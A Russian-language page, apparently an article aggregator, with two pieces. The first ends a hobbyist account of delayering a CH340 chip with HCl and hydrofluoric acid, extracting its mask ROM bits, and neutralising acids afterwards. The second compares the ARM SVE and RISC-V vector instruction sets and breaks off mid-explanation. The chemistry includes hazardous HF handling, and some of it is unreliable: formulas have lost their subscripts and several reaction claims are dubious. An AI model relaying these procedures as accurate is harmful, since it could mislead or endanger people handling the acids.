Примечание:Существует некоторое сходство между двумя этими неорганическими кислотами. ИHCl, иHFявляются ионными соединениями, то есть, они должны полностью диссоциировать в ионном растворе, например, в воде. С HClтак и происходит, и поэтому она считается сильной кислотой, а с HFнет. Дело в том, что фтор и хлор отличаются по силе. У фтора сильная связь с водородом, поэтому диссоциация у фтора выражена не очень ярко. Электроотрицательность у иона фтора настолько велика, что даже мощный ионный эффект воды не позволяет полноценно оторвать его от атома водорода в сущности, именно поэтому HFтак опасна. Она прореагирует со всем, к чему сможет прикрепить свой электрон, в особенности с ионами кальция из ваших костей. Определенный процент молекул HFне диссоциирует, поэтому HFсчитается слабой кислотой. В нашем случае важно отметить, что как соляная, так и плавиковая кислота бурно реагируют с металлами, но их использование при послойном препарировании металлов может весьма отличаться.

Итак, как же определить, какую кислоту использовать? Как правило, в процессе производства полупроводников используется два типа металлов: алюминиевый (Al) сплав 6061 и/или медь (Cu). В чипах, подобным рассматриваемому, обычно встречается Al, но изредка может бытьCu. Дело в том, что у меди ниже сопротивление, и это положительно сказывается на включаемости металлов.

Если работать сCu, то приходится использовать HCl, посколькуHFне вытравливаетCu и, фактически, спровоцирует сильную коррозию, вызываемую атмосферным кислородом. Любой окислительный агент плохо подойдет вам для послойного препарирования Cuс использованиемHF. Помните, чтоHClсама по себе также не будет вытравливатьCu, к ней нужен окислительный агент, например, пероксид водорода (HO), который позволит кислоте съесть всю Cu(восстановительный агент), поднимая pKa (константу диссоциации) кислотного раствора. Значение pkA характеризует силу кислоты. Две эти реакции вместе в соотношении 1:1 позволяют получить хлорноватистую кислоту (HOCl) и воду (HO). Как только в реакцию входит Cuиз кристалла, медь прореагирует сHOCl, и получится хлорид меди (II), который и станет нашим травящим агентом. Таким образом, мы послойно препарируем медную область кристалла при комнатной температуре до получения зеленоватого раствора хлорида меди (CuCl).

HO (aq.) + HCl (aq.) HO + HOCl (aq.)
2HOCl + Cu Cu(HOCl)

Примечание:Будьте крайне осторожны, поскольку при комнатной температуре растворHCl, в отличие от большинства кислот, быстро разогревается и, скорее всего, будет выделять газообразный хлороводород. Это нужно делать[1][2] в вытяжном шкафу.

В нашем случае, при работе с CH340, нам придется протравить лишь очень тонкий слой Al, а диоксида кремния (SiO) там почти нет. Вот почему при послойном препарировании мы будем использовать HF. Влажная HFочень быстро накидывается на алюминиевые связи и контактные площадки при температуре выше 40C, но также можно вытравливать при комнатной температуре и очень низкой концентрации, используя Whink. Этот удалитель ржавчины содержит плавиковую кислоту в концентрации 3%, но не обманывайтесь, поскольку и это может быть более чем фатально. Рекомендую класть чип в тефлоновый химический стакан и держать его там при комнатной температуре с интервалами примерно в 15 минут, в зависимости от того, какой именно чип мы тестируем. Так будет вытравливаться не только Al, но иSiO.

SiO + 4HF SiF + 2HO

Эта реакция достаточно медленно протекает при низких концентрациях и без нагревания, но так безопаснее, если приходится иметь дело с парами. В результате должно получиться нечто подобное:

Послойно препарированная CH340Послойно препарированная CH340

Итак, мы успешно протравили себе путь до самой подложки или уровня транзисторов в чипе. Изображение в более высоком разрешении предлагается наsiliconpr0n. Присмотревшись к правому верхнему углу, найдем наше драгоценное МПЗУ.

Справа вверху: МПЗУ в CH340Справа вверху: МПЗУ в CH340

Как видите, возможно, я протравил слегка лишнего, поскольку некоторые транзисторы пропали. Увы, не это будет самой большой проблемой при извлечении битов, но некоторые автоматизированные инструменты могут от этого слегка спятить. То есть, придется поработать, но мы всегда можем вручную переопределить любые ошибки, которые заметим.

Автоматическое извлечение битов ПЗУ

Знакомьтесь сrompar, интерактивным инструментом для извлечения двоичных данных из изображений МПЗУ при помощи методов компьютерного зрения. На первых порах может быть немного страшновато, так как кривая обучения у него крутая, но после нескольких прогонов все будет уже не так плохо. Первым делом давайте подготовим наше изображение, либо в Gimp, либо в вашем любимом редакторе фотографий. Суть в следующем: нам нужно выделить и расширить область с МПЗУ на изображении, обрезать ее и увеличить ее резкость.

Перед запуском инструмента нужно узнать, с каким объемом ПЗУ нам придется работать. Смотрим на картинку и видим 14 групп столбцов, в каждом по 16 бит в строку, то есть, мы имеем дело с 224 бит в каждой строке. Строки следующая важная тема, которую мы обсудим, по-видимому, тут просматривается 64 строки. Таким образом, размер ПЗУ, с которым нам предстоит работать, составляет 1,7 Кб.

При запуске rompar ожидает получить 3 аргумента; файл ищображения, количество столбцов и количество строк.

python3 rompar.py image1-50x-ROM.jpg 16 1
Changing edit mode to GRID
Changing edit mode to GRID
Image is 11694x4318; 3 channels
process_image time 0.18801593780517578
read_data: computing
grid line redraw time: 6.4373016357421875e-06
grid circle redraw time: 1.1920928955078125e-05
render_image time: 0.22574210166931152

А почему тут конфигурация 16x1? могли бы спросить вы. Потому, что, если взглянуть на картинку, заметен большой промежуток между 14 группами столбцов, поэтому мы и делим их на две части. То же касается и строк, по-видимому, между ними есть какой-то разделитель, поэтому мы не можем жестко закодировать строки.

Экран Rompar в инфракрасном спектре. Экран Rompar в инфракрасном спектре.

Первый экран графического интерфейса (GUI), который мы рассмотрим, дан в инфракрасном спектре, чтобы по ярким и темным пятнам мы уяснили, чем допированный транзистор отличается от пустого места. Можно скорректировать порог, перейдя в CV Options -> Pixel Threshold. Корректируем, пока у нас не получится нечто подобное:

Увеличенное изображение бит в инфракрасном спектреУвеличенное изображение бит в инфракрасном спектре

Нужно, чтобы программа поняла, что первая строка будет возвращать0000001, а второй01110101. Помните, что более яркие области принято обозначать через1, а более темные через0. При постобработке это правило по необходимости может инвертироваться, если нужно получить на выходе готовый двоичный файл. Теперь давайте перейдем к Display -> Base Image -> Original. Далее мы хотим сделать сетку из столбцов и строк, поэтому щелкнем ctrl+clickпо столбцу 1, перейдем к столбцу 16 и сделаем то же самое. Продолжаем, пока не обработаем все столбцы. В конечном итоге у нас должна получиться примерно такая сетка:

Голубая сетка для столбцов ПЗУГолубая сетка для столбцов ПЗУ

Голубые линии немного бледные, но при увеличении видны гораздо лучше. Теперь давайте подсветим отдельные биты. Нажимаем cmd+click в каждой строке, получаем следующее:

Двоичные разряды обведены кружочкамиДвоичные разряды обведены кружочками

Как видите, тут есть несколько ошибок, но мы можем откорректировать отдельные разряды, перейдя в Edit -> Mode -> Data Edit Mode. Далее щелкнемctrl+clickпо каждому отдельному биту, чтобы превратить голубые кружочки в зеленые или наоборот. Программа трактует зеленые маркеры как 1, а голубые как0. К сожалению, с этим изображением ПЗУ мне пришлось многое редактировать вручную, но, как только результат нас устроит, можно экспортировать его в матрицу двоичных разрядов, перейдя в Data -> Export Data as Text. В итоге у вас получится файл со всеми вашими двоичными данными, такой, как выложен у меня на Github.

Декодируем биты

Теперь, когда у нас готовфайл битовой матрицы, время превратить его в удобочитаемый и дизассемблированный файл прошивки. Этого можно добиться при помощи одного из двух инструментов,zorromилиbitviewer. В принципе, если уже знаем архитектуру, то используем zorrom, утилиту, преобразующую данные из физического представления в логическое и обратно при работе с топологией памяти чипа. Как написано в README от Zorrom, например, фотография загрузочного ПЗУ, преобразованная в двумерный битовый массив (.txt) может быть преобразована в машинно-читаемый двоичный формат. Затем этот .bin можно эмулировать, дизассемблировать и т.д., делать с ним все, что вы бы делали с обычным файлом прошивки . У программы есть отличный API, чтобы писать и настраивать, как именно должно считываться ПЗУ; то есть, здесь указывается топология, порядок следования байтов, требуется или нет инвертирование битов, а также порядки битов на выходе.

Причина, по которой мы не можем сразу начать работать с zorrom в том, что мы не знаем тип процессора. Потратив дни и недели на изыскания в головной корпорации, WCH, я не нашел ничего и близко напоминающего 14-битную архитектуру. Размышляя, с чем же мы имеем дело, мы, возможно, найдем ответ только тупо присмотревшись, а для этого нужен такой инструмент как bitviewer. С этим инструментом единственная корректировка, которая нам потребуется подогнать файл двоичной матрицы под 16-битную архитектуру. По-видимому, эта программа не слишком хороша для работы с 14-столбцовыми группами, но это как раз нормально, поскольку, когда мы извлечем bin-файл, эти заполняющие байты не повлияют на информативные байты прошивки.

В принципе, в ситуациях, когда мы не знаем, какой байт соответствует какому коду операции, мы не можем просто дизассемблировать тестовые bin-файлы. Вместо этого ищем в файле жестко закодированные последовательности символов или какие-либо константы, которые описывали бы внутренние конфигурации. Зачастую приходится как следует покорпеть над схемой, чтобы понять, что происходит. Я еще совсем новичок в этом деле, но я всегда начинаю с соединений, которые выходят из самого ПЗУ.

Металлический слой (слева), Слой подложки (справа)Металлический слой (слева), Слой подложки (справа)

Вот что мы можем узнать из этой картинки. В ПЗУ 64 бит по вертикали и 16 x 14 по горизонтали; как я уже говорил, объем этого ПЗУ почти 2k. Выяснил, что для него нужно всего 10 адресных разрядов. В первом столбце транзисторов в вертикальных адресных разрядов за адресным битом 0 идет неадресный бит 0. В следующем столбце переключение происходит каждые два бита, и так далее. Я считаю, что здесь видно 4 бита по горизонтали и 6 битов по вертикали. У каждой строки должна быть дополнительная, чтобы по возможности упростить декодирование мультиплексорами 16:1. Если сделать очень сильное увеличение, то видно, что, благодаря мультиплексору экономится место, в которое можно добавить 14 инверторов, а не прокладывать дополнительную сигнальную строку по горизонтали.

Теперь можно открыть bitviewer с нашим новоиспеченным файломдвоичной матрицы с заполнением. Ниже показано первое отображение, свидетельствующее, как на взгляд bitviewer биты должны быть распределены по строкам, и какие столбцы должны получиться на выходе.

Экран, которым открывается Bitviewer Экран, которым открывается Bitviewer

С битами на строку кажется все верно, но я знаю, что в столбцах не по 32 бита, я же определил, что в каждой группе столбцов содержится 16 бит на столбец, это видно по изображениям. Нам нужно всего лишь откорректировать это число и картинка автоматически изменится.

Bitview 16-битные столбцыBitview 16-битные столбцы

Далее по списку нам нужно взглянуть на шестнадцатеричный дамп и посмотреть, есть ли там какие-то признаки, что мы правильно задали порядок. Для этого щелкнем по кнопке Byte view (hex). Прокручивая биты, ничего узнаваемого мы не увидим, так как 1) мы не знаем, как должны выглядеть коды операций, поскольку не знаем архитектуру и 2) мы пока не видим ни одной жестко закодированной последовательности символов. Так что мы полагаемся на то, что все-таки увидим здесь некие последовательности символов, по которым сможем судить, правильно ли выполнили декодирование.

Давайте кое-что откорректируем, нажав кнопку Export Options. Как видите, здесь мы можем откорректировать топологию ПЗУ, порядок следования байтов, а также внести еще некоторые изменения, например, инвертировать порядок бит. Большинство опций мы оставим без изменения, в том числе, порядок следования битов, который будет иметь вид:0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15. Иногда приходится немного поэкспериментировать, чтобы получить правильный порядок на выходе, но я после нескольких попыток обнаружил, что полезно расставить галочки вот здесь:Reverse output bit order иAddress run right-to-left. Теперь можем снова прокрутить шестнадцатеричное представление.

05C0: FE 73 FF DB EF ... .s...t...t.b.|.j
05D0: FE 50 C6 5F D6 ... .P._._.Q...P....
05E0: DD 74 DF F8 ED ... .t...&.m...S.p..
05F0: FF 6D ED 00 FF ... .m...y...|.....>
0600: FF 7A FF 6A ED ... .z.j.<.g.Z.X.s..
0610: D9 74 CE 65 ED ... .t.e...W.p...[..
0620: E6 F0 F5 5B F0 ... ...[.W.W.W.W....

По-прежнему никаких подвижек. Есть еще один вариант, который мы не проверили возможно, наши биты нужно инвертировать/перевернуть. То есть, единицы должны стать нулями и наоборот. К счастью, в bitviewer это сделать можно; щелкаем кнопкуSelect all, и программа подсветит все биты во всех строках и столбцах. Когда они будут подсвечены, нажмите Invert Sel.

Инвертированные биты из BitviewИнвертированные биты из Bitview

Все удалось успешно инвертировать, и теперь можно открыть вкладку с просмотрщиком байт, чтобы посмотреть, что у нас получилось.

0770: 10 03 10 09 ... .............U..
0780: 10 53 10 00 ... .S...B...2......
0790: 10 30 10 00 ... .0...-..3...3...
07A0: 33 F3 10 00 ... 3...3...3...3...
07B0: 2F A4 10 00 ... /.....(.....+...
07C0: 10 23 29 08 ... .#)...../.. .'/.
07D0: 10 02 10 03 ... ..../.....+..P.S
07E0: 2F A4 10 72 ... /..r.e/..i.r/..n
07F0: 10 6D 2F A4 ... .i/..t.a+.. .l..

Я этого на первый взгляд не заметил, но теперь же у нас есть полноценный файл прошивки, и мы можем его изучить! Посмотрев на отступы0x0770и0x0780, можно выделить последовательность символов USB 2.0. Что еще? Следующую последовательность заметить не так легко, поскольку между первой и второй большой скачок. Последовательности символовPrintиSerialнаходятся на отступах0x07D00x07F0. Другие интересующие нас подсказки будут в верхней части файла прошивки, например, та или иная таблица переходов и /или таблица векторов исполнения. Из этого сделаем вывод о наличии повторяющихся инструкций или, в нашем случае, байт.

Таблица переходовТаблица переходов

Хотя мы до сих пор не знаем, что это за архитектура, и даже как вообще будет выглядеть ассемблер, в начале здесь просматривается определенная закономерность, именно такая, какую мы рассчитываем увидеть в начале любого действующего файла прошивки. Давайте дампируем эту информацию в bin-файл прошивки, щелкнувSave bin. Начиная отсюда, нам придется изрядно гадать и заниматься обратным проектированием схем, чтобы как следует понять, каким образом можно превратить эти байты в пригодный для чтения ассемблерный код.

Примечание:Возвращаясь к использованию zorrom, теперь мы знаем, какие опции нужны, чтобы получился правильный файл прошивки. Значит, мы можем автоматизировать этот процесс, написав подходящий алгоритм. Воспользовавшись API zorrom, пользователю всего-то останется скормить программе двоичный текстовый файл, а в ответ она выдаст файл прошивки. Здесь можете посмотреть код, который я написал для CH340. Этот инструмент можно запустить вот так:

python3 txt2bin.py --arch ch340t ch340_binary.txt ch340_fw.bin

Также отметим, что при работе сzorrom не приходится заботиться о заполнении разрядов в двоичном текстовом файле, чтобы получилось 16 групп столбцов, нам вполне хватит наших исходных 14. Не забывайте, что иногда можно получить неверную ориентацию, извлекая биты с изображений. Расположение может случайно получиться зеркальным, либо придется определить, как правильно повернуть чип. Если дампировать двоичный текстовый файл, подобный тому, ссылка на который дана выше, то можно воспользоваться инструментом вроде rotate, чтобы просто перевернуть текст в файле вверх тормашками.

Дизассемблирование неизвестного

Самый большой вопрос как дизассемблировать информацию, об архитектуре которой мы не имеем представления? Если бы не было найденных нами жестко закодированных последовательностей символов, откуда бы мы знали, что расставили байты в правильном порядке? Ответ на этот вопрос не так прост и очевиден. Придется воспользоваться IDA Pro в качестве основного инструмента дизассемблирования, но при этом нам придется написать наш собственный специальный плагин.

Имея дело с незнакомой архитектурой, необходимо как следует разобраться с изображениями, чтобы понять, как используется ПЗУ. Ситуация примерно такова, как если бы врач выполнил КТ всего тела пациента, и изучил бы томограмму каждого органа в отдельности, чтобы найти подсказки.

Итак, в данном случае мы рассматриваем весь чип, а не только ПЗУ:

Послойно препарированный CH340 с аннотациямиПослойно препарированный CH340 с аннотациями

Аннотации важный аспект обратного проектирования интегральных схем, а в нашем случае придется пояснить очень многое. Прочитав даташит, мы знаем, что этот чип поддерживает возможности USB, поскольку служит мостом от USB к USART. Мы также знаем, что этому чипу требуется внешний источник колебаний для отсчета тактов. Некоторые допущения, которые мы можем сделать относительно чипа: здесь должен быть блок статической памяти с произвольным доступом для энергозависимого хранения данных, область регистров, которые будут использоваться для приема, хранения и переноса данных, а также команды, которые будут использоваться непосредственно ПЗУ при работе с ядром процессора. Поскольку, согласно даташиту, на этом чипе отсутствует ЭСППЗУ, мы отметили на большом участке слева, как данные принимаются и передаются USB-портом.

Как упоминалось выше, в IDA нет процессорного плагина для этого (поскольку мы имеем дело с неизвестной архитектурой), и мы с моим коллегой Крисом начали писать собственный плагин для этого, работапока не окончена. Оказавшись в подобной ситуации, нужно выдвинуть пару стартовых гипотез. Например, в нескольких первых байтах прошивки должен прослеживаться повторяющийся паттерн, то есть, здесь должен быть какой-то небольшой переход к таблице адресов.

Частично дизассемблированное представление кода ch340Частично дизассемблированное представление кода ch340

Как понятно из кода на python, нам также удалось в точности выяснить, как именно передавались жестко закодированные последовательности символов. Подобно кодам операций в таблице переходов, CALL-ы покажутся вам весьма знакомыми, когда будете просматривать шестнадцатеричный дамп прошивки неизвестного типа. Увидите байт инструкции, а за ним еще два байта, выделенных под адрес.

Предстоит сделать еще немало. Даже при допущении, что отношение между инструкцией и регистром в формате начиная со старшего, нам придется перейти на формат начиная с младшего, поскольку по какой-то причине is IDA не преобразует или не дизассемблирует как следует двухбайтовые фрагменты WORD, когда работает в формате начиная со старшего. По-видимому, к этой статье придется написать вторую часть, в которой я наконец смогу объяснить, как все работает в этом чипе. А эту статью я завершу рассказом о том, как прибрать тот беспорядок, который мы учинили в лаборатории, работая со всеми этими неорганическими кислотами.

Убираем за собой. Кислотно-основная нейтрализация

Серную кислоту (HSO) можно нейтрализовать при помощи исключительно сильной щелочи, гидроксида натрия (NaOH). Эта кислота реагирует сNaOH, продуктами реакции являются сульфат натрия (NaSO) и вода. Это реакция кислотно-основной нейтрализации. После расстановки коэффициентов в уравнении видим, что нужное нам соотношение между щелочным раствором и кислотой 2:1.

2NaOH (aq) + HSO (aq) 2HO (l) + NaSO (aq)

В нашем случае мы воспользуемся гораздо более высоким соотношением, поскольку, как помните, мы задействовали всего 20 мл HSOдля декапсуляции чипа.NaOH существует в форме кристаллов, напоминающих соль, и всего 15 граммNaOHна 150 мл воды (раствор 10%) хватит для приготовления раствора. NaOH+HOдадут раствор с катионамиNa+и анионами OH-, дополнительно выделится некоторое количество тепла. Уравнение реакции выглядит так:

NaOH +2HO Na+ + OH- + HO (delta H < 0)

Медленно наливаем кислоту в свежеприготовленный щелочной раствор. При этом вы можете заметить, что смесь немного нагревается. Это происходит потому, что процесс экзотермический, то есть, кислотно-основная реакция происходит с выделением избыточной теплоты. Эта теплота сухой остаток процессов разрыва и образования химических связей. Проще говоря, конечные продукты этой реакции находятся в более низком энергетическом состоянии, чем реагенты. Энергетическая разница между двумя этими состояниями равна той энергии, что выделяется в виде теплоты. Остаток раствора можно разбавить, долив в полученную кислотно-основную смесь еще 150 мл воды. Медленно помешиваем в течение около 2 минут, затем проверяем нейтральность раствора при помощи лакмусовой бумажки.

Проверка уровня pH нейтрализованной серной кислотыПроверка уровня pH нейтрализованной серной кислоты

Примечание:чтобы проверить нейтрализацию, можно воспользоваться бытовой химией, например, бикарбонатом натрия (NaHCO), бросив его в стакан и посмотрев, пойдут ли пузырьки. Если разбавленный кислотно-водный раствор начинает пузыриться, это означает, что кислотность его по-прежнему немного повышена из-за связанного диоксида углерода (CO), который рвется наружу из раствора угольной кислоты. После того, как в растворе все успокоится, складываем все химикаты в специальный контейнер для химических отходов и относим в компанию, которая за нас их как следует утилизирует.

Спасибо, что дочитали! Надеюсь, вам понравилось не меньше, чем мне. Если у вас остались вопросы по этой статье, пишите мне пожалуйста в Instagram:@hackersclubили в Twitter:@ringoware

Доброй охоты :)

Ссылки и благодарности

Ken Shirriffhttp://www.righto.com/2020/05/extracting-rom-constants-from-8087-math.html, за то, что лично уделил время и рассказал мне, как биты считываются из ПЗУ.

John McMasterhttps://siliconpr0n.org/archive/doku.phpза то, что провел со мной многие часы и, в частности, рассказал, как автоматизировать извлечение ПЗУ, как делается декапсуляция и послойное препарирование.

Chris Gerlinsky этот товарищ сильно мне помог, когда понадобилось выяснить, что делать с файлом двоичной матрицы, составленным из данных, извлеченных с изображений кремниевых кристаллов. Никогда не довел бы этот проект так далеко, если бы не его всемерная помощь в понимании архитектуры.

Elijah Hawk Всегда был великодушно готов потратить на меня пару часов, вычитывая грамматику и структуру предложений во всех моих статьях.

О нейтрализации https://chem.libretexts.org/Bookshelves/Physical_and_Theoretical_Chemistry_Textbook_Maps/Supplemental_Modules_(Physical_and_Theoretical_Chemistry)/Acids_and_Bases/Acid_Base_Reactions/Neutralization

Получение серной кислоты https://www.cs.mcgill.ca/~rwest/wikispeedia/wpcd/wp/s/Sulfuric_acid.htm

Конструирование сверхбольших интегральных схем (VLSI) https://www.tutorialspoint.com/vlsi_design/vlsi_design_digital_system.htm

Понятие о NAND Flash https://www.simms.co.uk/nand-flash-basics/understanding-nand

Подробнее..

Перевод Сравнение векторных расширений ARM и RISC-V

20.05.2021 22:11:13 | Автор: admin

Сравнение векторного расширения RISC-V (RVV) и масштабируемого векторного расширения ARM (SVE/SVE2).

Микропроцессоры с векторными командами ожидает большое будущее. Почему? Беспилотные автомобили, распознавание речи, распознавание образов, всё это основано на машинном обучении, а машинное обучение на матрицах и векторах.

Но это не единственная причина. Мы годами бьёмся головой о стену, чтобы выжать больше производительности с тех пор, как полуофициальный закон Мура перестал работать. В старое золотое время мы могли просто удваивать тактовую частоту процессора каждый год, и все были счастливы. Но это больше так не работает.


Увеличение производительности остановилось, что делает необходимым распараллеливать вычисления различными способами, либо с помощью многоядерности, либо с помощью векторизации, либо с помощью исполнения не в порядке очереди (out-of-order).Увеличение производительности остановилось, что делает необходимым распараллеливать вычисления различными способами, либо с помощью многоядерности, либо с помощью векторизации, либо с помощью исполнения не в порядке очереди (out-of-order).

Сейчас мы придумали тысячи умных способов получить большую производительность, будь то создание многоядерных процессоров, внеочередное (out-of-order) исполнение, более совершенное предсказание переходов и SIMD-команды.

Все эти способы основаны на одной центральной идее: пытаться различными способами распараллеливать работу. Когда вы выполняете какие-то вычисления в цикле над массивом элементов, у вас появляется возможность параллелизма данных. Этот цикл при достаточно умном компиляторе может быть превращён в последовательность SIMD или векторных команд.

SIMD-инструкции, в отличие от SISD-инструкций, каждая инструкция (зелёный цвет) обрабатывает множество независимых потоков данных (синий цвет).SIMD-инструкции, в отличие от SISD-инструкций, каждая инструкция (зелёный цвет) обрабатывает множество независимых потоков данных (синий цвет).

SIMD-команды, такие, как Neon, MMX, SSE2 и AVX замечательно сработали в мультимедийных приложениях, в таких вещах, как кодирование видео и т.п. Но нам нужно получить большую производительность во многих областях. Векторные команды предлагают большую гибкость в превращении почти любого цикла в векторные команды. Однако есть много различных способов это сделать.

Я описал векторные команды RISC-V здесь:RISC-V Vector Instructions vs ARM and x86 SIMD.

Позже я описал векторные команды ARM:ARMv9: What is the Big Deal?.

Когда я писал последнюю статью, я впал в замешательство. Кажется, ничто не работает таким образом, как меня учили. Я считал, что я знаю, как работают векторные команды, изучая их для моей первой статьи. После окончания последней статьи, я начал писать статью об их сравнении.

Это заставило меня обнаружить, что ARM и RISC-V следуют принципиально разным стратегиям. Стоит написать об этом, потому что это одна из моих любимых тем. Я люблю простые, элегантные и эффективные технологии:The Value of Simplicity.

Векторное расширение RISC-V по сравнению с ARM SVE это элемент элегантности и простоты.

Проблема с масштабируемыми векторными командами ARM (Scalable Vector Instructions, SVE)

В процессе изучения SVE, было неочевидно, почему это так трудно для понимания, но когда я взял книгу по RISC-V и перечитал главу по векторному расширению, это стало ясно.

Честно говоря, ARM является большим шагом вперёд по сравнению с большим сложным и беспорядочным ассемблером Intel x86. Давайте не будем про это забывать. Также мы не можем пройти мимо того факта, что ARM не молодая платформа, и содержит много легаси. Когда мы имеем дело с ARM, у нас есть три различных набора команд: ARM Thumb2, ARM32 и ARM64. Когда вы гуглите руководства и пытаетесь их читать, возникает ряд проблем. Люди не всегда понимают, какой набор команд изучать.

Инструкции Neon SIMD имеют две разновидности: 32- и 64-битные. Проблема, конечно, не в ширине слова, а в том, что для 64-битной архитектуры ARM перепроектировал весь набор команд и изменил многие вещи, даже соглашение об именовании регистров.

Вторая проблема в том, что ARM большой. Система команд содержит свыше 1000 команд. Сравните с базовым набором RISC-V, в котором всего лишь 48 команд. Это означает, что читать ассемблер ARM не так просто. Посмотрим на команду SVE:

LD1D z1.D, p0/Z, [x1, x3, LSL #3]

Здесь делается много. Если у вас есть опыт в ассемблере, вы можете догадаться, что префиксLDозначаетLoaD. Но что означает1D? Вы должны это выяснять. Дальше вы должны выяснить, что означают странные суффиксы имён регистров, такие как .Dand/Z. Дальше вы видите скобки[]. Вы можете догадаться, что они составляют адрес, зачем там странная запись LSL #3, что означает логический сдвиг влево (Logic Shift Left)три раза. Что сдвигается? Все данные? Или только содержимое регистраx3? Это снова нужно смотреть в справочнике.

Команды ARM SVE содержат множество концепций, не являющихся очевидными, от которых голова идёт кругом. Мы сделаем глубокое сравнение, но сначала скажем несколько слов о RISC-V.

Красота векторного набора команд RISC-V

Обзор всех команд векторных расширений RISC-V (RVV) помещается на одной странице. Команд немного, и, в отличие от ARM SVE, они имеют очень простой синтаксис. Вот команда загрузки вектора в RISC-V:

VLD v0, x10

Команда загружает векторный регистрvданными, находящимися по адресу, который хранится в обычном целочисленном регистреx10. Но сколько данных загружается? В наборе команд SIMD, таком, как ARM Neon это определяется именем векторного регистра.

LD1 v0.16b, [x10]  # Load 16 byte values at address in x10

Есть другой способ сделать это. Такой же результат достигается таким образом:

LDR d0, [x10]    # Load 64-bit value from address in x10

Эта команда загружает младшую 64-битную часть 128-битного регистраv0. Для SVE2 у нас есть другой вариант:

LD1D z0.b, p0/z, [x10] # Load ? number of byte elementsLD1D z0.d, p0/z, [x10] # Load double word (64-bit) elements

В этом случае регистр предикатаp0определяет в точности, сколько элементов мы загружаем. Еслиp0 = 1110000, мы загружаем три элемента.v0 это 128-битная младшая частьz0.

Регистры имеют одинаковые имена?

Причина этому в том, что регистры d,vиz находятся в одной ячейке. Давайте поясним. У вас есть блок памяти, называемый регистровый файл в каждом CPU. Или, если быть более точным, в CPU расположено много регистровых файлов. Регистровый файл, это память, в которой расположены регистры. Вы не можете получить доступ к ячейкам памяти в регистровом файле, так же как в обычной памяти, вместо этого вы обращаетесь к области памяти, используя имя регистра.

ARM floating point registers are overlapping in the same register file (memory in CPU holding registers).ARM floating point registers are overlapping in the same register file (memory in CPU holding registers).

Различные регистры могут отображаться на одну и ту же область регистрового файла. Когда мы используем скалярную операцию с плавающей точкой, мы используем часть векторных регистров. Рассмотрим 4-й векторный регистр, и рассмотрим, как ещё он используется:

  • z3 регистр SVE2 переменной длины.

  • v3 младшие 128 бит z3. Регистр Neon.

  • d3 младшие 64 битаv3.

  • s3 младшие 32 битd3

RISC-V, однако, устроен не так. Векторные регистры RISC-V находятся в отдельном регистровом файле, не разделяемом с регистрами скалярной плавающей точки.

  • x0-x31 скалярные целочисленные регистры.

  • f0-f31 скалярные регистры с плавающей точкой.

  • v0-v31 векторные регистры. Длина не зависит от ISA.

Сложность векторных команд ARM

Я только поцарапал поверхность векторных команд ARM, потому что их очень много. Просто найти, что делает команда загрузки Neon и SVE2, занимает много времени. Я просмотрел много документации ARM и записей в блогах. Сделать то же самое для RISC-V очень просто. Практически все команды RISC-V можно разместить на двойном листе бумаги. У него есть только три команды загрузки вектораVLD,VLDSиVLDX.

Я не могу сказать, сколько этих команд у ARM. Их очень много, и я не собираюсь становиться профессионалом по программированию ARM. на ассемблере.

Как ARM и RISC-V обрабатывают вектора переменной длины

Это довольно интересный вопрос, так как ARM и RISC-V используют существенно различные подходы и я считаю, что простота и гибкость решения RISC-V просто блестящая.

Вектора переменной длины в RISC-V

Чтобы начать обработку векторов, вы делаете две вещи:

  • VSETDCFG Vector SET Data ConFiGuration. Устанавливает битовый размер каждого элемента, тип, который может быть вещественным, знаковым целым или беззнаковым целым. Также конфигурация определяет, сколько векторных регистров используется.

  • SETVL SET Vector Length. Устанавливает, сколько элементов содержит вектор. Максимальное количество элементов, которое вы не можете превысить MVL(max vector length).

Регистровый файл RISC-V может быть скофигурирован так, чтобы иметь меньше 32 регистров. Может быть, например, 8 регистров или 2 регистра большего размера. Регистры могут занимать весь объём регистрового файла.Регистровый файл RISC-V может быть скофигурирован так, чтобы иметь меньше 32 регистров. Может быть, например, 8 регистров или 2 регистра большего размера. Регистры могут занимать весь объём регистрового файла.

И здесь всё становится интереснее. В отличие от ARM SVE, я могу разделить файл векторных регистров именно так, как я хочу. Пусть регистровый файл имеет размер 512 байт. Я могу теперь объявить, что я хочу иметь два векторных регистра, по 256 байт каждый. Далее я могу сказать, что я хочу использовать 32-битные элементы, другими словами, элементы по 4 байта. Получаем следующее:

Два регистра: 512 байт / 2 = 256 байт на регистр256 байт / 4 байта на элемент = 128 элементов

Это означает, что я могу складывать или умножать 128 элементов просто одной командой. В ARM SVE вы этого сделать не можете. Количество регистров фиксировано, и память аллоцирована для каждого регистра. И RISC-V, и ARM позволяют вам использовать максимум 32 векторных регистра, но RISC-V позволяет вам отключать регистры и отдавать используемую ими память оставшимся регистрам, увеличивая их размер.

Вычисление максимальной длины вектора (Max Vector Length, MVL)

Давайте посмотрим, как это работает на практике. Процессор, конечно, знает размер регистрового файла. Программист этого не знает, и не предполагается, что знает.

Когда программист использует VSETDCFG, чтобы установить типы элементов и количество используемых регистров, процессор использует эту информацию, чтобы вычислить максимальную длину вектора Max Vector Length (MVL).

LI        x5, 2<<25  # Load register x5 with 2<<25VSETDCFG  x5         # Set data configuration to x5

В примере выше происходят две вещи:

  • Включаем два регистра:v0иv1.

  • Устанавливаем тип элементов в 64-битные вещественные числа. Давайте сравним это с ARM Neon, в котором каждый регистр имеет длину 128 бит. Это означает, что Neon может обрабатывать два таких числа параллельно. Но в RISC-V 16 таких регистров можно объединить в один. Это позволяет обрабатывать 32 значения параллельно.

На самом деле это не буквально так. За сценой у нас есть конечное число вещественных умножителей, блоков АЛУ и т.п., что ограничивает число параллельных операций. Однако всё это уже детали реализации.

Итак, мы получили значениеMVL, равное 32. Разработчик не должен напрямую знать это число. Команда SETVLработает так:

SETVL rd, sr  ; rd  min(MVL, sr), VL  rd

Если вы попытаетесь установить Vector Length (VL)в значение 5, это сработает. Однако, если вы попытаетесь установить значение 60, вы получите вместо этого значение 32. Итак, величина Max Vector Length (MVL) важна, она не фиксирована конкретным значением при изготовлении процессора. Она может быть вычислена исходя из конфигурации (типа элементов и количества включенных регистров).

Вектора переменной длины в ARM

В ARM вы не устанавливаете длину вектора явным образом. Вместо этого вы устанавливаете длину вектора косвенно, используя предикатные регистры. Они являются битовыми масками, которыми вы включаете и выключаете элементы в векторном регистре. Регистры предикатов также существуют в RISC-V, но не имеют центральной роли, как в ARM.

Чтобы получить эквивалентSETVLна ARM , используйте командуWHILELT, что является сокращением отWhile Less Than:

WHILELT p3.d, x1, x4

Довольно сложно объяснить словами, что делает эта команда, и я использую псевдокод, чтобы объяснить её работу.

